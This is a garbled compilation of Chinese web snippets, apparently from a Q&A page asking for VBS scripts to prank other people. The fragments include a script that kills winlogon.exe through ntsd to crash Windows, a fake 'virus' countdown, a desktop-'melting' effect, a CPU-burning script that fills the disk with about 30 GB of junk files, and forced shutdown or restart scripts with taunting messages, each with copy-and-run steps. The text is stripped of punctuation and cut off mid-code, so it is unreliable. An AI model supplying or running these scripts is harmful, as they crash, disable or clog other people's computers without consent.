蓝屏msgbox quot我想要你蓝屏，哈哈quotSet ws = CreateObjectquotWscriptShellquotwscriptsleep 1200 wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide set ob=wscriptcreateobject。
echo off color 0b mode concols=80 lines=20 title=超级病毒 for L a in 3，1，0 do for l a in 1，1，8do echo\ echo 入侵倒计时 a 秒 ping n 2 1271 1nul 2nul cls cls color。
电脑桌面融化，这段代码真的很强悍 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了 Private Declare Function GetWindowDC Lib quotuser32quot ByVal hwnd As Long As Long Private Declare Function GetDesktopWindow。
毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件请准备好30G空间具体在代码中仅供恶搞娱乐和研究，没有攻击任何人，组织的意图set qstart = wscriptCreateObjectquotwscriptshellquotset qweb = CreateObjectquotWscript。
把以下代码复制到记事本中，然后把扩展名改为vbs运行即可On Error Resume Next Dim WSHshellA Set WSHshellA = wscriptCreateObjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown s t 90 c quotquot快喊我是。
第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你。
代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot，vbOKCancel+vbInformation，quot重新启动计算机quot=vbCancel then msgbox quot正在。
有没有一些恶搞别人的vbs代码，最好是简单的 有没有一些恶搞别人的vbs代码，最好是简单的 展开 #xE768 我来答 7个回答 #热议# 有哪些跨界“双奥”的运动员？匿名用户 20200502 展开全部 自编vbs仅供娱乐！set qstart =。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。